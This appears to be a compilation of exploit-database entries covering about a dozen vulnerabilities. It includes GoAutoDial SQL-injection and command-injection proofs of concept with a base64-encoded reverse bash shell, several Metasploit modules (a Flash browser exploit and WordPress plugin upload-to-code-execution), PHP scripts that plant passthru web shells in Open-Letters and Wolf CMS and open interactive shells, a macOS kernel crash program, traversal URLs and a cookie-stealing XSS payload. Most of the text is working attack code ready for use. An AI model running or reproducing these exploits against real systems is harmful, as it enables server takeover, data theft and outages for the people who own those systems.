Affected software: GoAutoDial Affected version: 3.3-1406088000 (GoAdmin) and previous releases of GoAutodial 3.3 Associated CVEs: CVE-2015-2842, CVE-2015-2843, CVE-2015-2844, CVE-2015-2845 Vendor advisory: http://goautodial.org/news/21 Abstract: Multiple vulnerabilties exist in the GoAutodial 3.3 open source call centre software that will lead to a complete compromise of the underlying database and infrastructure. Given that multiple product updates were released during testing that do not include any code changes related to the described vulnerabilities, any version between 3.3-1406088000 and 3.3-1421902800 might also be vulnerable. Refer to the product changelog.txt: https://github.com/goautodial/ce-www/blob/master/changelog.txt ================================== 1/ CVE-2015-2843 - SQLi authentication bypass due to lack of input sanitisation Affected file: go_login.php Issue: Lack of input sanitisation on input parameters user_name and user_pass prior to being handled by the database. A simple 'OR '1'='1 in the password field with a username of 'admin' will log you in. (assuming the default administrator user has not been removed). You can also test this by performing the following GET request: PoC: https://<ip>/go_login/validate_credentials/admin/' OR '1'='1 - SQLi within the 'go_get_user_info' function Affected file: go_site.php Issue: Lack of input sanitisation on input parameters being handled by the database This function returns a single entry from the db that contains user information including the username and password. Given that the first 'active' user in the db would most likely be the admin user you can search for active=Y. There is a column in the vicidial_users table that identifies whether a user is active (Y) or not active (N). Given this, you can perform the following to return an admin user's account username and password. PoC: https://<ip>/index.php/go_site/go_get_user_info/' or active='Y ================================== 2/ CVE-2015-2842 - Arbitrary file upload within the 'audiostore' upload functionality Affected file: go_audiostore.php Issue: Filename extensions are not properly checked to ensure only 'audio' files can be uploaded A user can upload a file with the filename 'bogus.wav.php'. The filename is checked for the '.wav' extension and the check is passed, however with the trailing '.php' file extension, much fun is obtained. An uploaded file is moved to a symlinked directory (/var/lib/asterisk/sounds) of which can be viewed directly from the browser. Note*: All user uploaded files are given the 'go_' prefix. This example ends up with 'go_bogus.wav.php' as an uploaded file. https://<ip>/sounds/go_bogus.wav.php ** Pop goes the shell ** ================================== 3/ CVE-2015-2844 and CVE-2015-2845 - Arbitrary command injection via the cpanel function due to lack of input sanitisation Affected file: go_site.php Issue: User supplied parameters are passed to the php 'exec' function, of which the intended function can be escaped to do more sinister things. Two variables are passed to the underlying exec command, $action and $type. Either one can be used. URI looks like this: https://<ip>/index.php/go_site/cpanel/$type/$action Affected code: exec("/usr/share/goautodial/goautodialc.pl '/sbin/service $type ".strtolower($action)."'"); Base64 encoding bypasses any web server encoding and a lovely root shell is obtained. ** pop goes a root shell ** reverse bash shell one liner: bash -i >& /dev/tcp/192.168.0.11/4444 0>&1 PoC: https://<ip>/index.php/go_site/cpanel/|| bash -c "eval \`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTEvNDQ0NCAwPiYx | base64 --decode\`" ================================== Vulnerability Remediation Upgrade to version 3.3-1421902800 at a minimum. As per the vendor advisory, follow the instructions provided in the link below. http://goautodial.org/projects/goautodialce/wiki/GIThub Metasploit module to be created at some point though quick and dirty python scripts work just fine too...
-
Adobe Flash Player - copyPixelsToByteArray Integer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow', 'Description' => %q{ This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in the copyPixelsToByteArray method from the BitmapData object. The position field of the destination ByteArray can be used to cause an integer overflow and write contents out of the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit 'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket 'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2014-0556'], ['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'], ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'], ['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'], ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Sep 23 2014', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end
-
WordPress Plugin Reflex Gallery - Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Reflex Gallery Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Unknown', # Vulnerability discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '36374'], ['OSVDB', '88853'], ['WPVDB', '7867'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Reflex Gallery 3.1.3', {}]], 'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date. 'DefaultTarget' => 0) ) end def check check_plugin_version_from_readme('reflex-gallery', '3.1.4') end def exploit php_pagename = rand_text_alpha(8 + rand(8)) + '.php' data = Rex::MIME::Message.new data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"") post_data = data.to_s time = Time.new year = time.year.to_s month = "%02d" % time.month res = send_request_cgi({ 'uri' => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'), 'method' => 'POST', 'vars_get' => { 'Year' => "#{year}", 'Month' => "#{month}" }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.code == 200 && res.body =~ /success|#{php_pagename}/ print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") register_files_for_cleanup(php_pagename) else fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'Server did not respond in an expected way') end print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename) ) end end
-
WordPress Plugin Creative Contact Form - Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Creative Contact Form Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress Creative Contact Form version 0.9.7. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Gianni Angelozzi', # Vulnerability discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '35057'], ['OSVDB', '113669'], ['WPVDB', '7652'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Creative Contact Form 0.9.7', {}]], 'DisclosureDate' => 'Oct 22 2014', 'DefaultTarget' => 0) ) end def check check_plugin_version_from_readme('sexy-contact-form', '1.0.0') end def exploit php_pagename = rand_text_alpha(8 + rand(8)) + '.php' data = Rex::MIME::Message.new data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"") post_data = data.to_s res = send_request_cgi({ 'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'index.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.code == 200 && res.body =~ /files|#{php_pagename}/ print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") register_files_for_cleanup(php_pagename) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'ERROR') end print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(wordpress_url_plugins, 'sexy-contact-form', 'includes', 'fileupload', 'files', php_pagename) ) end end
-
WordPress Plugin N-Media Website Contact Form - Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Claudio Viviani', # Vulnerability discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'], ['WPVDB', '7896'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['N-Media WebSite Contact Form 1.3.4', {}]], 'DisclosureDate' => 'Apr 12 2015', 'DefaultTarget' => 0) ) end def check check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5') end def exploit php_pagename = rand_text_alpha(4 + rand(4)) + '.php' data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="action"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"") data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"') post_data = data.to_s res = send_request_cgi({ 'uri' => wordpress_url_admin_ajax, 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.code == 200 && res.body =~ /filename/ begin new_php_pagename = JSON.parse(res.body)["filename"] rescue JSON::ParserError fail_with(Failure::Unknown, 'Unable to parse JSON data for the filename') end print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...") register_files_for_cleanup(new_php_pagename) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown,'ERROR') end print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename) ) end end
-
WordPress Plugin Work The Flow - Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress Work The Flow Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress Work The Flow plugin, version 2.5.2. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Claudio Viviani', # Vulnerability discovery 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['WPVDB', '7883'], ['EDB', '36640'], ['URL', 'http://packetstormsecurity.com/files/131294/WordPress-Work-The-Flow-2.5.2-Shell-Upload.html'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Work The Flow 2.5.2', {}]], 'DisclosureDate' => 'Mar 14 2015', 'DefaultTarget' => 0) ) end def check check_plugin_version_from_readme('work-the-flow-file-upload', '2.5.4') end def exploit php_pagename = rand_text_alpha(8 + rand(8)) + '.php' data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="action"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files\"; filename=\"#{php_pagename}\"") post_data = data.to_s res = send_request_cgi({ 'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets', 'jQuery-File-Upload-9.5.0', 'server', 'php', 'index.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.code == 200 print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...") register_files_for_cleanup(php_pagename) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'ERROR') end print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets', 'jQuery-File-Upload-9.5.0', 'server', 'php', 'files', php_pagename) ) end end
-
ADB - Backup Archive File Overwrite Directory Traversal
ADB backup archive path traversal file overwrite ------------------------------------------------ Using adb one can create a backup of his/her Android device and store it on the PC. The backup archive is based on the tar file format. By modifying tar headers to contain ../../ like patterns it is possible to overwrite files owned by the system user on writeable partitions. An example pathname in the tar header: apps/com.android.settings/sp/../../../../data/system/evil.txt Tar header checksum must be corrected of course. When restoring the modified archive the BackupManagerService overwrites the resolved file name, since file name is not sanitized. Bugfix in the version control: https://android.googlesource.com/platform/frameworks/base/+/7bc601d%5E!/#F0 Android 5 (Lollipop) and newer versions are not affected (due to the official bugfix linked above). Additional conditions for exploiting on pre-Lollipop systems: - Partition of the desination file must be mounted as writeable (eg. /system won't work, but /data does) - It is not possible to overwrite files owned by root, since the process doing the restore is running as the same user as the package itself and Android packages cannot run. - It is not possible to overwrite files owned by system user since AOSP 4.3 due to Id6a0cb4c113c2e4a8c4605252cffa41bea22d8a3, a new hardening was introduced "... ignoring non-agent system package ". (If the operating system is custom and there is a system package available with a full backup agent specified explicitly, then that custom Android 4.3 and 4.4 might be affected too.) Pre 4.3 AOSP systems are affected without further conditions: it is possible to overwrite files owned by the system user or any other packages installed on the system. Tested on: Android 4.0.4: Reported on: 2014-07-14 Assigned CVE: CVE-2014-7951 Android bug id: 16298491 Discovered by: Imre Rad / Search-Lab Ltd. http://www.search-lab.hu http://www.securecodingacademy.com/
-
BlueDragon CFChart Servlet 7.1.1.17759 - Arbitrary File Retrieval/Deletion
Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet CVE: CVE-2014-5370 Vendor: New Atlanta Product: BlueDragon CFChart Servlet Affected version: 7.1.1.17759 Fixed version: 7.1.1.18527 Reported by: Mike Westmacott Details: The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances the retrieved file is also deleted. Exploit: In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server: http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE The browser will display a broken image, however the HTTP response will contain the file’s contents. Further details at: https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/ Copyright: Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited. Disclaimer: The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
-
Apple Mac OSX - Local Denial of Service
/* * 2015, Maxime Villard, CVE-2015-1100 * Local DoS caused by a missing limit check in the fat loader of the Mac OS X * Kernel. * * $ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c * $ ./Mac-OS-X_Fat-DoS BINARY-NAME * * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c * Analysis: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <spawn.h> #include <unistd.h> #include <err.h> #include <mach-o/fat.h> #include <sys/stat.h> #define MAXNUM (4096) #define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM)) void CraftBinary(char *name) { struct fat_header fat_header; struct fat_arch *arches; size_t i; int fd; memset(&fat_header, 0, sizeof(fat_header)); fat_header.magic = FAT_MAGIC; fat_header.nfat_arch = 4096; if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL) err(-1, "calloc"); for (i = 0; i < MAXNUM0; i++) arches[i].cputype = CPU_TYPE_I386; if ((fd = open(name, O_CREAT|O_RDWR)) == -1) err(-1, "open"); if (write(fd, &fat_header, sizeof(fat_header)) == -1) err(-1, "write"); if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1) err(-1, "write"); if (fchmod(fd, S_IXUSR) == -1) err(-1, "fchmod"); close(fd); free(arches); } void SpawnBinary(char *name) { cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 }; char *argv[] = { "Crazy Horse", NULL }; char *envp[] = { NULL }; posix_spawnattr_t attr; size_t set = 0; int ret; if (posix_spawnattr_init(&attr) == -1) err(-1, "posix_spawnattr_init"); if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1) err(-1, "posix_spawnattr_setbinpref_np"); fprintf(stderr, "----------- Goodbye! -----------\n"); ret = posix_spawn(NULL, name, NULL, &attr, argv, envp); fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret); } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s BINARY-NAME\n", argv[0]); } else { CraftBinary(argv[1]); SpawnBinary(argv[1]); } }
-
Open-Letters - Remote PHP Code Injection
<?php /* OutPut: #[+] Author: TUNISIAN CYBER #[+] Script coded BY: Egidio Romano aka EgiX #[+] Title: Open-Letters Remote PHP Code Injection Vulnerability #[+] Date: 19-04-2015 #[+] Vendor: http://www.open-letters.de/ #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian) #[+] CVE: #[+] Twitter: @TCYB3R #[+] Egix's Contact: n0b0d13s[at]gmail[dot]com #[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png OL-shell> */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "#[+] Author: TUNISIAN CYBER\n"; print "#[+] Script coded BY: Egidio Romano aka EgiX\n"; print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n"; print "#[+] Date: 19-04-2015\n"; print "#[+] Vendor: http://www.open-letters.de/\n"; print "#[+] Type: WebAPP\n"; print "#[+] Tested on: KaliLinux (Debian)\n"; print "#[+] CVE:\n"; print "#[+] Twitter: @TCYB3R\n"; print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n"; print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /zenphoto/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>"; $packet = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($exploit)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$exploit}"; http_send($host, $packet); $packet = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nOL-shell> "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>
-
Wolf CMS 0.8.2 - Arbitrary File Upload
<?php /* ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' Exploit Title : Wolf CMS Arbitrary File Upload Exploit Date : 22 April 2015 Exploit Author : CWH Underground Discovered By : ZeQ3uL Site : www.2600.in.th Vendor Homepage : https://www.wolfcms.org/ Software Link : https://bitbucket.org/wolfcms/wolf-cms-downloads/downloads/wolfcms-0.8.2.zip Version : 0.8.2 #################### SOFTWARE DESCRIPTION #################### Wolf CMS is a content management system and is Free Software published under the GNU General Public License v3. Wolf CMS is written in the PHP programming language. Wolf CMS is a fork of Frog CMS. ####################################### VULNERABILITY: Arbitrary File Upload ####################################### This exploit a file upload vulnerability found in Wolf CMS 0.8.2, and possibly prior. Attackers can abuse the upload feature in order to upload a malicious PHP file into the application with authenticated user, which results in arbitrary remote code execution. The vulnerability was found on File Manager Function (Enabled by default), which provides interfaces to manage files from the administration. In this simple example, there are no restrictions made regarding the type of files allowed for uploading. Therefore, an attacker can upload a PHP shell file with malicious code that can lead to full control of a victim server. Additionally, the uploaded file can be moved to the root directory, meaning that the attacker can access it through the Internet. /wolf/plugins/file_manager/FileManagerController.php (LINE: 302-339) ----------------------------------------------------------------------------- // Clean filenames $filename = preg_replace('/ /', '_', $_FILES['upload_file']['name']); $filename = preg_replace('/[^a-z0-9_\-\.]/i', '', $filename); if (isset($_FILES)) { $file = $this->_upload_file($filename, FILES_DIR . '/' . $path . '/', $_FILES['upload_file']['tmp_name'], $overwrite); if ($file === false) Flash::set('error', __('File has not been uploaded!')); } ----------------------------------------------------------------------------- ##################### Disclosure Timeline ##################### [04/04/2015] - Issue reported to Developer Team [08/04/2015] - Discussed for fixing the issue [16/04/2015] - Issue reported to http://seclists.org/oss-sec/2015/q2/210 [22/04/2015] - Public disclosure ##################################################### EXPLOIT ##################################################### */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 50); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------+"; print "\n| WolfCMS Arbitrary File Upload Exploit |"; print "\n+---------------------------------------+\n"; if ($argc < 5) { print "\nUsage......: php $argv[0] <host> <path> <user> <pass>\n"; print "\nExample....: php $argv[0] localhost /wolfcms test password\n"; die(); } $host = $argv[1]; $path = $argv[2]; $user = $argv[3]; $pass = $argv[4]; print "\n ,--^----------,--------,-----,-------^--, \n"; print " | ||||||||| `--------' | O \n"; print " `+---------------------------^----------| \n"; print " `\_,-------, _________________________| \n"; print " / XXXXXX /`| / \n"; print " / XXXXXX / `\ / \n"; print " / XXXXXX /\______( \n"; print " / XXXXXX / \n"; print " / XXXXXX / .. CWH Underground Hacking Team .. \n"; print " (________( \n"; print " `------' \n"; $login = "login[username]={$user}&login[password]={$pass}&login[redirect]=/wolfcms/?/admin/"; $packet = "POST {$path}/?/admin/login/login HTTP/1.1\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: PHPSESSID=cwh\r\n"; $packet .= "Content-Length: ".strlen($login)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$login}"; $response = http_send($host, $packet); if (!preg_match_all("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n"); $packet = "GET {$path}/?/admin/plugin/file_manager HTTP/1.1\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1][2]}\r\n"; $packet .= "Connection: close\r\n\r\n"; $response=http_send($host, $packet); if (!preg_match_all("/csrf_token\" type=\"hidden\" value=\"(.*?)\" \/>/i", $response, $token)) die("\n[-] The username/password is incorrect!\n"); print "\n[+] Login Successfully !!\n"; sleep(2); print "\n[+] Retrieving The Upload token !!\n"; print "[+] The token is: {$token[1][4]}\n"; $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"csrf_token\"\r\n\r\n"; $payload .= "{$token[1][4]}\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"upload_file\"; filename=\"shell.php\"\r\n"; $payload .= "Content-Type: application/octet-stream\r\n\r\n"; $payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n"; $payload .= "--o0oOo0o--\r\n"; $packet = "POST {$path}/?/admin/plugin/file_manager/upload HTTP/1.1\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1][2]}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}/public/shell.php HTTP/1.1\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nWolf-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ################################################################################################################ # Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 ################################################################################################################ ?>
-
LEPTON 1.1.3 - Cross-Site Scripting
source: https://www.securityfocus.com/bid/52026/info LEPTON is prone to multiple input-validation vulnerabilities, including: 1. A cross-site scripting vulnerability 2. An SQL-injection vulnerability 3. A local file-include vulnerability 4. Multiple HTML-injection vulnerabilities Exploiting these issues could allow an attacker to execute arbitrary script and PHP code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. LEPTON 1.1.3 is vulnerable; other versions may also be affected. http://www.example.com/admins/login/forgot/index.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E
-
PHP 5.3.8 - Remote Denial of Service
source: https://www.securityfocus.com/bid/52043/info PHP is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to exhaust available memory, denying access to legitimate users. PHP versions prior to 5.3.9 are vulnerable. <?php while (true) { strtotime('Monday 00:00 Europe/Paris'); // Memory leak } ?>